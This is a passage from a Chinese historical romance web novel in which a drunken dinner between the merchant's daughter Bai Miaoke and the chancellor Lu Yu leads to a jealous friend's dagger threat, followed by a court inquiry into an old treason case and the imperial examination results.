陆瑜并不重口腹之欲,但是看见白妙可吃的这么香,也不自觉的多吃了一些。
两个人在屋内吃饭的时候,萧恒来揽月阁找上了掌柜,问他最近白妙可有没有来这里。
自从上次二人因为杀丞相的事情不欢而散以后,他便后悔了。
自己本来就想好了要做她的一把刀,为什么要惹她不高兴呢,何况还是为了个早晚会死的丞相,她都说了晚些时候会亲自杀他,自然不会食言。
这样想着,萧恒心里很是懊悔,恨不得立刻去同她道歉。
但是他今天下午去白府找她的时候,春杏告诉他小姐自己出去了不知道何时会回。
他又陪了白老爷聊了会儿天才走,这么多年,老爷子一直把他当儿子看待,自己虽然拒绝了他收自己为养子的提议,也只是不愿真的做白妙可的哥哥,他心里对白老爷只有感恩和尊敬。
白老爷看出他有心事,聊了一会儿确认他在外面过的很好以后便放他走了。
他就想来揽月楼碰碰运气,他知道白家那么多产业,白妙可最常来的就是揽月楼,不仅是为了这里的菜色,她更喜欢的是这掌柜亲自酿的酒。
掌柜跟着白家干了好多年,自然认识萧恒,知道东家跟他关系好二人常来吃饭喝酒,便也没有隐瞒,指指楼上说:“小姐跟人在楼上吃饭。”
萧恒心头一喜:终于找到了!
他接着开口问:“小姐跟谁吃饭呢?”
掌柜犹豫了一下,不知道该不该告诉他,最后谁都不愿得罪的掌柜卖了个巧:“是个年轻男子,应当是小姐的朋友。”
萧恒听见年轻男子便皱起了眉头,莫非又是与她相看的对象?
他打发走了掌柜,准备自己上去看看。
12. 情敌见面
萧恒急匆匆走到门前,却又停住了脚步。
他不想贸然进去又惹得白妙可不开心,便先站在门外侧耳去听。
揽月楼雅间的隔音很好,但是萧恒毕竟是习武之人,他透过门缝凝神去听也能隐约听见里面传来交谈声。
其中一个声音他十分熟悉,正是白妙可。
另一个低沉的男声时不时回应一两句。
两个人似乎是相谈甚欢,因为他听见了白妙可银铃般的笑声,但是具体内容却是听不清了。
他站在门外,有些不知所措。
从前白老爷给她安排的相看对象要么是人品不行,要么是白妙可见都不想见,这次是谁呢,让她不仅见了,还聊的这么开心。
萧恒在外面脑补的时候。屋内的两人已经吃的差不多了,不过一个人有些醉了,另一个也快了。
醉的那个是白妙可,也许是今日康王讲的故事太过沉重,她有些借酒消愁的意思,就喝的比平日多了不少。
陆瑜倒是很克制,只是他本来酒量就一般,加上白妙可喝多了以后非要敬他喝酒,他半推半就的也喝了不少,此刻虽然感觉头晕,却还算清醒理智。
他给白妙可倒了杯茶水,听着她絮絮叨叨的说着自己小时候的趣事。
没想到她小时候这么顽皮,陆瑜不自觉的弯起唇角,笑着听她没太有逻辑地絮絮叨叨,脸上的神情是前所未有的温柔。
面前的女子双颊透着些薄红,陆瑜不自觉的想起来面若桃花,说的就是这般吧。女子醉酒后的眸子变得湿漉漉的,少了些平日的清澈明亮,反而平添了一些朦胧的妩媚。
陆瑜感觉自己的脸好像也热了起来,难道也喝醉了吗?他迷茫又清醒的问自己。
突然,刚才还在傻笑的姑娘放声哭了起来。
从她破碎的声音里,断断续续拼凑出她母亲离开了她,她很是想念之类的话。
听着她的哭声,他感觉自己的酒意逐渐散去了。
他犹豫了一下,才伸出手轻轻拍着女子的后背,安抚道:“都过去了。”
可惜,醉鬼是听不见别人讲话的。
白妙可还在哭,声音也因为哭泣而断断续续抽抽噎噎。
站在门外的萧恒也隐约听见了屋内的哭声。
他印象中白妙可哭的次数很少,她在自己面前一直是没心没肺大大咧咧的感觉。
听着里面女子哭声愈来愈大,萧恒等不了了,他握紧了拳头,也顾不上自己这样闯进去会不会不太好了。
门没有锁,他猛的将门推开。
若说刚才还是担心她,但是在看见面前的一幕时,感觉自己的怒气瞬间上涌。
女子抽抽噎噎的在哭泣,一旁的男子拍着她的背轻声安慰,在萧恒看来陆瑜的手更像是在搂着白妙可一样。
他都不舍得跟白妙可说一句重话,这个男人竟然敢欺负她。
萧恒一声怒喝:“放开她!”
面对突然闯进来的男人,陆瑜也有些懵,打量着面前一身利落劲装的人,确信自己不认识对方,一时没有动作。
白妙可听见这声怒斥,抬起头来,使劲眨了眨泪水模糊的双眼,才认出来人。
“萧恒你来啦,快来喝酒呀。”她声音还带着些哽咽。
说着端起一旁的空酒杯就要给他倒酒,她提着酒壶半倒半洒的倒了一杯酒,又招呼他来坐。
陆瑜见她不再哭了,不动声色地将手移开,这才对上萧恒足以杀人的视线,心里想的却是她能亲切的称呼一个男子小恒,此人跟她究竟是何关系。
萧恒看着白妙可水润的双眼,眼角还带着一点泪水没有擦干,就这么红着眼睛叫自己的名字。
他不自觉的放软了语气:“你别哭,他是不是欺负你了?我替你教训他。”
一旁的陆瑜看着男人心疼又关切的神色,心里了然。
陆瑜慢条斯理地掏出一方手帕,先替白妙可轻轻擦去脸上残余的眼泪,又准备帮她擦手上刚才沾到的酒水。
萧恒更生气了,他顾不上这人到底是什么身份了,快步走到陆瑜和白妙可坐着的坐着的桌边。
从腰间抽出匕首横在陆瑜颈侧。
“放开她的手。”他恶狠狠的说。
陆瑜捉着白妙可的手腕的动作一顿,便看见一滴带着些红色的酒水顺着女子的洁白如玉的手腕滑了下去,消失在他视线所不及的地方。
陆瑜将帕子塞进白妙可手里,才松开手淡淡开口:“我是她的朋友。”
横在颈侧的匕首却分毫未退。
萧恒生气的想,她可以有这么多朋友,为什么独独要把自己当作哥哥。
这般想着,他手中的匕首反而更进一步,已经贴在了陆瑜修长脖颈上的皮肤,渗出一丝血迹。
感受到脖子上传来刺痛,陆瑜没再动作。他不清楚刚才的话怎么激怒了这个男人,但是显然自己的小命现在很是危险。
他尽量镇定地问:“你要杀我?”
白妙可听见他的话,意识逐渐回归,扭头看向僵持的二人。
迎着她的视线,萧恒不自觉的把手中的匕首离远了一些。
白妙可使劲眨了眨眼睛才看清两个人在干什么,她一时也顾不上哭了,只是语气中还带着一丝哽咽,对萧恒道:“你在干什么?我不是告诉过你不要杀丞相了吗?”
萧恒惊讶的看向陆瑜,他竟然就是丞相。
萧恒重新仔细打量着眼前的男人,这副俊秀容颜的确让自己忽略了这个男人举手投足间的上位者气质。
他不愿再惹她不快,听话地收回匕首。
上前伸手扶起来白妙可,说:“你醉了,我送你回家。”
白妙可推开他的手臂,含糊不清地说:“我自己能走。”
说着竟然是准备从窗户翻了下去,萧恒一惊,也顾不上还坐在那里的陆瑜了,紧跟着白妙可翻了出去。
两人一走,屋内顿时安静下来。
陆瑜捡起白妙可落在凳子上的素色手帕握在手中,仿佛还带着淡淡的栀子花香,他将手帕仔细叠好放进怀中。
经过刚才这么一出,他的酒意彻底散了,一双清冷的眸子看着外面的月色。
他不禁开始思考白妙可刚才说的话是什么意思,本来她或者她那个朋友,是要杀自己的吗?为什么改变主意了呢……
脖子上又传来隐约的刺痛拉回了他的思绪,他扬声喊店小二。
不出片刻,掌柜亲自进来。
看见陆瑜脖子上的血,再看屋内哪还有其
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他人了,掌柜吓了一跳,他哪能真的不认识这位是丞相大人啊。
于是人精掌柜忙低头不去看也不去问,做出一副恭敬等候吩咐老实模样。
“劳烦去外面的把我的长随叫过来。”陆瑜淡声道。
掌柜应声快速退下。
没过多久,有店小二带着富贵走了进来。
富贵一看见自家主子脖子上的血也是大惊失色,急得话都说不利索了:“公子……公子您这是怎么了?”
陆瑜还是很镇定,说:“先帮我包扎伤口,剩下的事回府再说。”
富贵马上找来细布将陆瑜的脖子上的伤口擦洗干净,幸好只是皮外伤,但是伤也着实凶险,哪怕刀刃再进半寸就岌岌可危了。
粗略止血包扎以后,陆瑜带着富贵脚步匆匆地下楼,掌柜的客气地送他们离开,竟是连饭钱都没收。
到了马车上,富贵终于憋不住心里的疑问,一连串问到:“到底是谁伤了公子?跟公子一起出来的姑娘去哪儿了?”
陆瑜捏了捏眉心,不知该怎么形容今晚发生的一切。
只道:“是意外受伤的,那个姑娘嘛,想必已经归家了。”
他说的没错,白妙可虽然走路不稳,但是用起轻功倒是不受醉酒影响。
她飞快的向着白府掠去,后面的萧恒使出全力才勉强追上。
两个人一块儿回了白家。
白老爷还在院子里散步消食呢,看见一身酒气的自家闺女,后面跟着气喘吁吁的萧恒。
他皱眉道:“怎么喝这么多酒?”
白妙可扑向白老爷的怀中撒娇:“爹爹,女儿好想你啊。”
女儿已经好多年不曾这般同自己撒娇了,白老爷想起来她小的时候总是这样黏着自己。
他笑着摸了摸女儿的头,说:“都多大了还撒娇,不是今早刚见过。快回去收拾收拾早些休息吧,小心明天头疼。”
白妙可便依依不舍地跟着春杏回去洗漱收拾了。
白老爷将萧恒留了下来,两个人坐在院子当中的石桌旁。
萧恒先开口告罪:“伯父,怪我没看好小可,让她喝了那么多。”
白老爷摆摆手道:“我不是想跟你说这个,她已经长大了,你没有义务为她负责。”
萧恒露出一个苦笑,对啊,他能以什么身份约束她呢,他也不愿去约束她,他爱的就是像蝴蝶一般自由的她。
白老爷接着说:“你也算是我从小看着长大的,正是看你是个好孩子我才想收你为养子。可是你拒绝了,我才发现你对小可的心思。”
“我就这一个女儿,从小就宠着,一切都顺着她的心意来,终身大事更是如此。若是她也对你有意,我自然是双手赞成;若是她没有这个意思……”
白老爷没说完后面的话,只拍了拍他的肩膀。
都是过来人了,他怎会看不出自家女儿对这位一块长大的青梅竹马只当作哥哥对待,甚至有时候当作弟弟……
任重道远啊这小子。
他是半分都不着急的,女儿要是一辈子不嫁人他便一辈子养着她,要是碰见合适的人,那他也希望女儿能勇敢追求自己的幸福。
对于萧恒,他只能言尽于此,年轻人的事情还得让他们自己解决。
13. 陆瑜死了?
正午的阳光透过纱窗落到拔步床上少女的侧脸上,少女的睫毛轻颤,抬手拂开凌乱的青丝,慵懒地翻了个身。
又过了一刻钟,才传来少女的轻哼。春杏听见声音进来服侍白妙可起床。
清醒以后,宿醉的后遗症便格外明显了。白妙可感觉自己的头像被打了一样疼,眼睛也肿的厉害。
她呆呆的看着镜中自己的核桃眼,有些迟钝的回想起来昨夜发生的事情,她居然喝醉了!
还是在陆瑜面前!
为什么自己总是在他面前丢脸啊,白妙可懊恼的捂住了脸,希望一切只是个梦。
春杏给她端来一杯温水,又拿来细布包裹的冰块,“小姐先喝点儿温水,厨房做了白粥,喝了酒得吃些清淡的。”
又把冰块放在白妙可肿起来的眼睛上消肿用。
春杏关心的问:“小姐还有哪里不舒服吗?怎么昨日喝了那么多酒。”
白妙可记得自己跟陆瑜去揽月楼吃饭喝酒,后来好像又看见了萧恒,再后来发生了什么便有些记不清了。
她问春杏:“我昨天晚上怎么回来的?”
春杏边给她通发边回答:“小姐不记得了吗?昨夜是萧公子,呃,送您回来的。”
昨夜是萧公子追着自家小姐回来的,那应该也算送吧。
白妙可奥了一声,怎么是萧恒送她回来的,那陆瑜人呢?
她努力回想,终于想起来了,萧恒要杀陆瑜!
那陆瑜不会是被他给杀了吧?!她依稀记得自己看见了血。
想到陆瑜可能死了,白妙可发现自己突然有些慌乱,来不及细想这突如其来的心慌,她猛的站起身,吓了春杏一跳。
“我要出去一趟。”白妙可抓起春杏准备好的衣裙就往身上套。
春杏惊讶地说:“可是小姐的头发还没梳好。”
白妙可从桌上随便摸了一根簪子,快速将一头青丝胡乱绾了起来,随口说道:“有人来找就说我还没起。”
接着便从自己院子旁边的侧门出去了。
为了更快一点儿,这次她骑了自己的枣红色小马,绕着小路很快到了陆府。
她将马拴与陆府隔着一条街的大槐树上,看着陆府肃穆依旧的门楣。
突然觉得自己有些冲动了。
毕竟陆府安安静静的看不出来有什么大事发生,她总不能冲进去问他们家的公子是不是死了,她真心希望只是自己昨夜喝太多记错了。
她平复了一下因为紧张或是因为跑马而提速的心跳,靠在槐树下,一时不知该怎么办。
因为骑马太快,她本就随意挽起的头发已经散了大半,柔顺的垂在肩上。
白妙可有些后悔昨夜喝酒误事,痛定思痛,警告自己以后再不能喝这么多了。
她正想着心事。
陆府的大门突然被推开,陆瑜带着富贵走了出来,一抬头就跟白妙可的视线撞了个正着。
两个人都愣了一下。
白妙可说不清自己此刻是高兴还是尴尬,她高兴他还好好的,又因为想起来自己昨夜的失态而尴尬。
陆瑜看着槐树下女子素白的衣裙,面上未施粉黛,却多了几分人畜无害的美丽,他注意到她还有些肿的眼睛,从未觉得她这么可爱。
看见女子有些散乱的头发和拴在树旁的枣红色小马。
他快步走了两步到她面前:“今日有无不舒服?来了多久了?怎么不让下人通禀。”
白妙可听着他温柔又熟稔的语气,心想他们已经这么熟悉了吗。
虽然他没有提昨夜的事情,但是白妙可还是注意到了他脖子上缠着的纱布,她开口问:“你受伤了?”
陆瑜没想到这个酒鬼居然是不记得昨夜的事情了,她不会是来看自己有没有受伤的吧。
他道:“是,有个男子不由分说的进来就要杀我。”
白妙可从他的语气中莫名听出一份委屈,她尴尬的挠了挠头:“他太冲动了,我替他向你道歉。”
陆瑜本是想逗逗她,但是听见她替那个男人向自己道歉,他又莫名有些不爽。
淡淡道:“不用你道歉,若不是你拦了他,我此刻也没法在这儿跟你讲话了,这样看你又救了我一命。”
白妙可完全不记得自己是怎么拦的萧恒了,但是他是因为自己而遭受的无妄之灾,她就是再厚的脸皮也不好意思当什么救命恩人了:“总之我向你道歉,你要没什么事我就走了。”
陆瑜只是含笑看着她,又走近了两步,抬手替她把发间落下的一朵槐花摘了下来,才说:“好,我要进宫一趟,就不请你进去喝茶了。”
白妙可觉得二人的距离有些太近了,便故意去牵了自己的马,利落的翻身上马,待两人的距离拉开,她才坐在马上低头望向他,简单说了句:“那我走了。”
说罢一夹马腹离开了。
富贵早就准备好马车候在一边了,看见自家公子还在看着女子骑马远去的身影出神,他上前提醒:“公子,咱们也出发进宫吧,圣上还等着呢。”
陆瑜收回视线,进了马车。
富贵在外边赶车边同陆瑜聊天:“公子,你若是喜欢那姑娘,何不让夫人去提亲?”
车里的陆瑜沉默了许久,喜欢吗?他还是第一次思考这个问题。
但是他要做的事情还很多很危险,她那般纯白自由的性子……
许久没等来陆瑜的回话,富贵想起来昨夜公子回来让查的揽月楼东家的身份。
京城中各处酒楼商铺均需要向朝廷登记,并且定期缴纳税赋,因此身为丞相想要查揽月楼的东家并不困难。
这么一查,陆瑜果然没猜错。
揽月楼的东家是京城富商白家,那么她的身份也就很清楚了,她就是白家唯一的女儿白妙可。
陆瑜对此消息倒不算惊讶,他更多的是好奇为何这位千金大小姐会有如此高的武艺,以及为何她本来是要杀自己的。
“这位白姑娘还是白家少东家,就是前段时间开白氏学社那位。”富贵补充道。
这倒让陆瑜很是诧异,没想到她会有这般格局和善心,一时间对她生出了更多好奇,只觉这个女子像是生在迷雾中的一团花,让人忍不住想要靠近。
陆瑜还未弄清自己心头的那份悸动,便听见富贵的声音。
“公子也不必忧心,老爷夫人都是开明的性子,应当不会介意白姑娘的身份。”
陆瑜失笑,明白这是在说那位白家小姐的商贾出身,可他又岂是在乎身份之人。
但是他都快被富贵
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的脑回路给气笑了,他说:“你怎么知道她愿意嫁我?八字没一撇的事情以后少提,让有心之人听去了,岂不是毁了姑娘的清誉。”
受了教育,富贵低低地哎了一声,嘀咕道:“白姑娘不是明显喜欢公子吗,公子这会儿又不聪明了……”声音太小,没被车内的陆瑜听去。
到了御书房,皇帝身边的小太监已经等在门口,陆瑜一到便被立刻领进内室。
这也是皇帝给他的特许:只要丞相来见,无需通禀直接入内。
陆瑜进门便看见地上扔着几团废纸,皇帝脸上表情严肃,陆瑜就知道这是心情不好,他躬身行礼:“微臣参见陛下。”
皇帝今日也没有心情同他客套,摆摆手让他坐下。
没有拐弯抹角,他直接问:“二十六年前西北之战余氏叛国之事你应该知道吧?”
用的是疑问句,但是语气里没有多少疑问,毕竟以陆瑜的手段和能力,知道这件事很正常。
陆瑜点头。
“当年余氏谋反恐怕另有隐情。”皇帝素来沉稳的声音有些颤抖。
陆瑜做洗耳恭听状,等着皇帝继续。
皇帝接着说:“有探子查到二十六年前西北之战,曾有人将余家军军要机密送给西北主帅,交换要求是除去余家。”
皇帝按了按眉心,“朕怀疑是这人给余家安了谋反的帽子借此出去余氏一族,你帮朕去查查,是谁。”
陆瑜沉思片刻,应道:“臣领命。”
皇帝又补充:“暗中调查,勿要声张。”
陆瑜点头应是,两个人都心知肚明,当年最想除去余家又有这个实力的,先帝动手的嫌疑最大。
只是,若真是先帝动手,不知皇帝该如何处之……陆瑜不敢细想,领命退下。
这件事查起来绝非易事,能得知方面西北之战的军事细节的,不是位高权重,便是军中将领。
而当年的军中将领大半战死沙场,仅剩的几位也都已经卸甲归田,离开了京都。
位高权重的范围就更大了,需得细细排查才行,着急不来。
他先将当年可能与之有关的皇亲国戚和朝中官员依次列出,吩咐自己手下的人挨个调查,有任何可疑的地方第一时间禀报。
而他自己,最近有更重要的事情要忙—那便是春闱放榜。
经过糊名、誊录、对读、阅卷等复杂的流程,今年春闱的上榜名单终于确定了下来。由礼部定于明日放榜。
陆瑜作为科举主责人,要在放榜之前做最后的检查,他站在巨大的榜单前一一扫过名录。
目光在前三名的名字上停留片刻,果不其然有自己那日在考场偶然看见的那位,他欣然一笑。
又依次往下看去,直到最后几行出现那几个康王递给他的名字。
这就是他答应康王的事情:无论名次,只要能将他的人塞进名单,康王便告诉他当年之事。
他欣然应允,他只是答应让几个草包上榜,至于后面会被分做何官,可就不好说了,这也是他对康王的未尽之言。
确认完榜上名录无误以后,便会将放榜时间张贴于城中各处,用以通知各位学子。当然,榜上名次靠前者,礼部也会派专人上门恭贺。
届时,就不知几家欢喜几家愁了。
14. 科举放榜
转眼到了放榜的日子。
还未到时辰,张榜的楼下便挤满了围观的学子和看热闹的百姓。
这种情况,大户人家一般都是派个小厮提前来等着。
白家自然也是如此,白老爷一大早就派了两个小厮去守着放榜。
白妙可也跟着去了,她比考生本人更兴奋,抓着白永思问了好多遍哥哥考得咋样,问来问去就得到一个尚可的回答。
她便决定自己去看看,万一哥哥得了榜首她可以第一时间告诉她,她的脚程可比府上的小厮快多了。
不过她没有挤在人群里,而是寻了颗大树跃了上去,找了个视线最好的位置。
九月中旬的时节,算得上京城最舒服的时间。
风中已经带了些秋高气爽的感觉,白妙可懒懒地斜靠在粗壮的树杈上,手里有一搭没一搭的晃着一片树叶,上午的阳光暖暖地透过茂密的枝叶落在她身上。
“来了来了!”
随着下方人群的声音逐渐变得激动,她微眯着眼睛看向张榜处的城楼。
那处上来了三个官员,其中两人合抱着一人高的卷轴,应该就是名榜了,另一个人眼熟的很,正是陆瑜。
三人走至城楼正上方,除了激动的学子,又多出了许多姑娘的窃窃私语。
“陆大人真是一表人才,年轻有为。”
“听说丞相大人一直未娶妻呢,不知是否心有所属。”
“哎呦,他看我呢!”
“胡说,陆大人明明是在看我。”
几个姑娘凑在一起叽叽喳喳。
一个小厮模样的人打断了姑娘们的幻想,他凉凉地说:“你们都不知道吧,陆大人已经有妾室了。”
周围的女子的注意力顿时被吸引,纷纷看向这人。
他十分受用的加大了声音:“我在醉春楼亲眼看到的,陆大人搂着一位绝色美人。”
“陆大人不近女色,怎么会去醉春楼,更是从未听说过有什么侍妾。”一位女子激动反驳。
其余女子纷纷附和。
这时又有一个身穿华服的男子开口:“他说的是真的,那天我也在醉春楼看见了,他那位侍妾真是极品。”
说话的人是京中有名的纨绔,更是醉春楼的常客。
他身边另一个纨绔接着说:“我想起来了,我在揽月楼吃饭的时候也碰见丞相大人带了一位女子去了厢房。”
他这么一说,引得几位纨绔哄笑了几声。
一旁的姑娘们也不再反驳,只面面相觑。
这么多人都看见了,此事应该是真的,一时间既有失望也有心碎,更有甚者觉得高兴,既然陆大人不像传闻说的那般不近女色,那自己是不是也有机会。
一时之间,对这位丞相大人私生活的讨论,都超过了马上要公开的名榜。
白妙可离得近,自然听见了底下的讨论。
她津津有味地听着,仿佛其中的女主角不是自己一样,不过的确是没人知道那个引得清冷丞相破解的绝色美人就是她。
而人们讨论的另一个主人公正站在城楼上一脸严肃地看着时辰。
时辰一到,陆瑜抬手,两旁的官员松开绳索,长长的榜单垂落。
底下的等着的众人立刻停下讨论,纷纷翘首看去。
霎时间,有的榜上有名的学子喜极而泣,多年寒窗终出头,学子们自发地向着陆瑜的方向伏拜感恩。
得了好消息的小厮跑的飞快,急着给主家报喜还有赏钱拿。
没上榜的学子或是沉默叹气或是崩溃大哭,一时之间众人喜忧参半。
树上听故事的白妙可也坐直了身体,一眼就看见了榜首上白永思的名字,哥哥竟然得了榜首!
她高兴极了,没有下树,直接运起轻功向着白府飞掠而去。
她的动作没被底下沉浸在各自情绪中的人群发现,但是高处城楼上的陆瑜却是清楚地看见了那抹石榴红色的身影,像一只小鸟一样飞走了。
他面无表情的脸上浮起了一丝微笑,心想真是爱凑热闹的小姑娘啊……
几息之后,白妙可就风风火火的回了白府。
“哥!哥!你上榜啦!还是榜首!”白妙可还未走近后院就喊了起来。
白老爷听见声音先冲了出来,激动的拽着小女儿问:“小可,你哥真是榜首啊?!”
白妙可夸张的点了点头:“爹爹,是真的!我哥太厉害了!”
父女俩说话的时候,白永思也从房内走了出来,他含笑看着激动的父亲和妹妹。
白妙可看见他出来,走上前去:“哥,你要当大官了,太好了!”
白永思宠溺的摸了摸她的头:“对,等你哥当了大官,咱们小可就是大官妹妹了。”
白妙可笑的眉眼弯弯,甜甜地应了一声好。
白老爷心情也极好,喊来管家老王:“今日我儿高中,全府同庆,每人可以去账房多领一份月利。”
白妙可跟着补充道:“白家名下店铺的掌柜伙计也一样!”
一时之间,白家上下喜气洋洋,后厨更是从早上就开始准备庆祝的宴席。
没过多久,朝廷派来报喜的官员两位官员带着参加殿试的圣旨到了白府,恭喜的话说了一箩筐,自然收到了白家给的大大的红封,两人笑的见眉不见眼,被白府的下人恭送离开。
榜上有名只是刚开始,到底是否受重用还得看殿试上的表现。
皇帝会在殿试上亲自考校学子,根据他们的回答来分配具体官职。从放榜到殿试有一个月的时间,供学子准备。
哥哥的事情有了着落,白妙可闲来无事又将从康王处搜刮来的书信仔细看了一遍。
除去跟一些官员之间的金钱交易,其中几个纸条上面并没有署名,但是其中提到了西北之地,还有几个白妙可不认识的名字,看上去像是西北人。
她动用了月影阁的势力去查,消息很快传回来,信中提到的阿固郎是西北乌恒国现在的国王。
涉及到西北地区,白妙可就不自觉地联想到二十六年前的西北之战。
据说当时便是这位阿固郎率兵亲征,包围并斩杀余老将军,阿固郎也凭借这次的大获全胜备受乌恒老王及朝中重臣认可,次年便即位成了信任乌恒国王。
这些信件明显不是康王与乌恒国之间的通信,更像是他与另一个官员之间的合谋。
还有一张卷成筒装的小纸条引起了白妙可的注意,上面只有一行字:年底,江南取货。
“江南取货?到底是什么货?”白妙可喃喃自语。
又想到母亲的信上最后提到的江南,她隐约觉得江南有什么东西很重要。
她将这些可能有用的信件仔细收好,派出月影阁的两位杀手前往江南打探消息。
除了之前安排盯着太傅
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的人以外,又安排了几个人盯着康王的动静。
只不过月影阁的人大多是专业杀手,这种调查相关的事情并不算擅长,她派出去的人一直没传回来什么有用的信息。
与此同时,陆瑜也在查探皇帝派下来的任务。
科举放榜以后他的任务基本就结束了,剩下的殿试等环节自有礼部专门的官员负责。
他便开始着手调查二十六年前的案子。
因为涉及皇家秘闻又是通敌叛国的大罪,当时之情的宫人大多被处死或者遣送出宫,他手下的暗卫辗转多处才寻到一个曾在丽妃宫里伺候的嬷嬷。
她头发已经花白,弯着有些佝偻的腰给陆瑜行礼:“老妇拜见丞相大人。”
陆瑜伸手将她扶起,语气温和地说:“嬷嬷不必多礼,陆某请您过来是想问问当年丽妃的事情。”
听见丽妃的名字,老妇的腰弯的更低了,有些浑浊的双眼更是蒙上了一层泪水。
“你在丽妃身边伺候过多久?”陆瑜问。
“在小姐未出阁时,老妇就伺候在小姐身边,后来伴着小姐入宫,直到……直到小姐没了……”老妇的声音沙哑又哽咽。
陆瑜没想到这位嬷嬷竟然是丽妃当年的陪嫁嬷嬷。
他接着问:“那你应该在余家也呆过一段时间,余家待丽妃娘娘如何?”
提及余家,老妇答的有些语无伦次:“老天不公啊,余家都是好人呐,怎么就遭此横祸,小姐当初就该听老爷的,不该进宫来……我可怜的小姐啊。”
说着竟是老泪纵横。
陆瑜拿出一块干净的帕子递给老妇人,说:“嬷嬷,丽妃是自愿进宫的吗?”
“是啊,当然是……”老妇答。
但是陆瑜分明看出了她一瞬间的犹豫和警惕。
他继续放缓语气说:“当年余家之事可能另有隐情,你知道什么可以跟我说,我会告诉陛下。”
听见这话,老妇人变得激动起来:“余家是被冤枉的啊,陛下,陛下是小姐的孩子,他一定要为小姐为余家做主啊。”
说着说着她突然提高音量:“是他,肯定是他!他得不到小姐便想毁了她的一切。”
陆瑜紧接着追问:“是谁?”
“马鸿哲!他在江南的时候便对小姐一见钟情,后来又多次上门求娶小姐,小姐并不喜欢他,后来为了……”老妇仿佛陷入回忆,说到此处又突然噤声。
缓了缓气接着说:“后来小姐进宫,他定然心有不甘,才会陷害余家至此!”
说罢,她突然跪在地上,声嘶力竭地说:“求丞相大人明察,早日还余家清白,小姐泉下有知才能安心,老身才能放心下去陪着小姐啊。”
陆瑜弯腰扶起她要叩拜下去的手臂:“您先起来,我和陛下都会全力调查当年的事情的,定会让真相水落石出。”
陆瑜知道她情绪激动今日应该是问不出什么了,便叫富贵将人扶下去,在陆府找处僻静的院子安置。
把人送走,陆瑜坐在桌案前陷入沉思。
如果这位老嬷没有说谎的话,马鸿哲在江南见了丽妃一见钟情,后来丽妃入宫,马鸿哲因爱生恨参与了构陷余家的事情。
陆瑜想,逻辑上合理,唯一的问题是马鸿哲当年在江南做了什么。此外,他当年也只是一个侍郎,幕后定有其他主谋……
陆瑜感觉迷雾的正中便是—江南。
15. 姑娘大义
凉爽的秋风为树梢染上一抹金黄,白妙可站在白府门口为哥哥理了理发冠,看着一身朴素布衣的哥哥也掩盖不住的风流倜傥长身玉立。
白妙可调侃道:“哥,你穿这么朴素不会是怕被公主看上吧。”
她看的话本子里多得是公主贵女一眼相中状元郎,自此只羡鸳鸯不羡仙的动人爱情故事。
对于小妹跳脱的脑洞,白永思早就习惯了,他无奈的看着妹妹。直到远处传来辘辘的马车声。
三辆马车停在了白府门口。
几位同样衣着整洁却朴素的学子从车上下来,对着白永思拱手问好。
这些都是当初住在白氏学舍的学子,有几位榜上有名,有幸参与殿试。
白妙可便安排了几辆马车去接上他们,再与哥哥一同进宫。
大部分学子未曾见过白妙可,读书人讲究非礼勿视,便是好奇也没有人直白地打量姑娘家。
白妙可倒是大大方方地端详了一圈在场的学子,心里暗想明明是类似的文人装扮,还是自家哥哥最出挑。
白永思开口介绍:“这便是舍妹,之前那些注意都是她想的。”
几位学子纷纷拱手道谢。
白妙可笑眯眯地摆摆手:“诸位不必客气,读书人本就不易,唯愿诸位入朝为官以后能一心为民。”
“姑娘大义。”众学子回道。
白永思对妹妹这番话也有些许差异,他本以为妹妹当初资助贫苦学子是为了给白家博一个好名声或者是为自己以后的官场人脉铺路。
没想到是他内心狭隘了,自家妹妹能有这般眼界和抱负,他很是高兴,面带欣慰的看着小姑娘同各位学子寒暄。
这份欣喜在看见某几位学子略红的脸颊以后突然变了味儿。
他清了清嗓子,将学子们的注意力从自家妹妹身上移开,他开口道:“时辰差不多了,该出发了。”
众人上车,一齐向着京城中间那座巍峨的宫殿出发。
行至宫门,马车就不允许通行了。学子需要下车,在接引公公的带领下入宫,行至第一道宫门处接受搜身,避免有心怀不轨之人混进去伤害到陛下。
然后便是根据事先定好的顺序,在大殿外排队等候陛下宣见。
白永思作为榜首,是第一个被公公喊进内殿的。
殿试在平时早朝的地方进行,皇帝端坐于上方龙椅上,身边立着两位小太监伺候。大殿两侧还有两位史官准备随时记录皇上的问题及考生的回答。
再往下看,还立着几位官员,为首的是丞相陆瑜和太傅马鸿哲,若是皇帝有拿不准的时候也可以听听臣子的意见。
白永思入殿便规矩行礼,等到陛下说了免礼以后,他才笔直地立在大殿中间,坦荡地任由陛下及一众官员打量。
虽然不是明面上的规定,但是谁不喜欢看长相周正赏心悦目的人呢。皇帝也是如此,在殿试上相貌身材便也是陛下考察的一部分。
对于这位榜首,众人可以期待已久。
他在科举中所做的策论在官员中传阅颇广,今日一见,果然是一表人才。
陆瑜在考场时便见过这位才子,但是当时他正专注于笔墨,今日倒是第一次看见他的正脸。
在对上那双长得肖似白妙可的眼睛之时,陆瑜愣了片刻,其余五官不提,就这双微微上扬的凤眼简直一模一样,唯一的区别可能是白妙可眼尾的那颗小痣,让她多了些女子的灵动,而这位公子的眼睛却是为他平添了几分风流不羁。
白永思站定开口:“学子白永思,拜见陛下,拜见各位大人。”
接下来皇帝只需要从翰林院提前拟好的许多题目中抽取几个提问即可,陆瑜没有仔细去听,他盯着那双眼睛有些出神,心里的不确定在听到他的姓氏以后确定了九成。
怪不得她那日去看放榜,原来不是凑热闹,也不是去看自己啊……
陆瑜兀自思考的时候,皇帝已经在满意的称赞白永思了。
接下来的学子陆续进场,殿试花了半天的时间才结束。
接下来便是由皇帝决定排名,礼部官员登记造册。
此次学子中大半都是平民出身,能走到这里都是靠的一身才华,皇帝心情颇好,欣慰于朝廷即将注入的新鲜血液,高兴于今日这些人才将为己所用。
他开口询问:“诸位爱卿以为,谁可当状元?”
户部尚书率先出列说道:“臣以为,李远无论是才华还是身份都堪当状元。”
众人皆知这位李远是永安侯的嫡长子,在本次科举上也算名列前茅,但是若说是状元便是有些够不上了。
果然见皇帝微不可查地皱了下眉,抬眸给了陆瑜一个眼神。
陆瑜在内心无奈叹息,面上仍旧是看不出什么情绪,他拱手出列道:“臣以为,白永思学识渊博又心系百姓,此子堪当大任,合该是本次状元。”
皇帝满意点头,他与陆瑜并未私下通气到底选谁,他便能选中自己内心所想,不愧是自己亲自挑选的丞相。
皇帝当即拍板:“两位爱卿说的都有道理,朕以为论年纪见识,还是白永思更胜一筹。”这就是说白永思的年纪比李远大一些,是明晃晃的借口了。
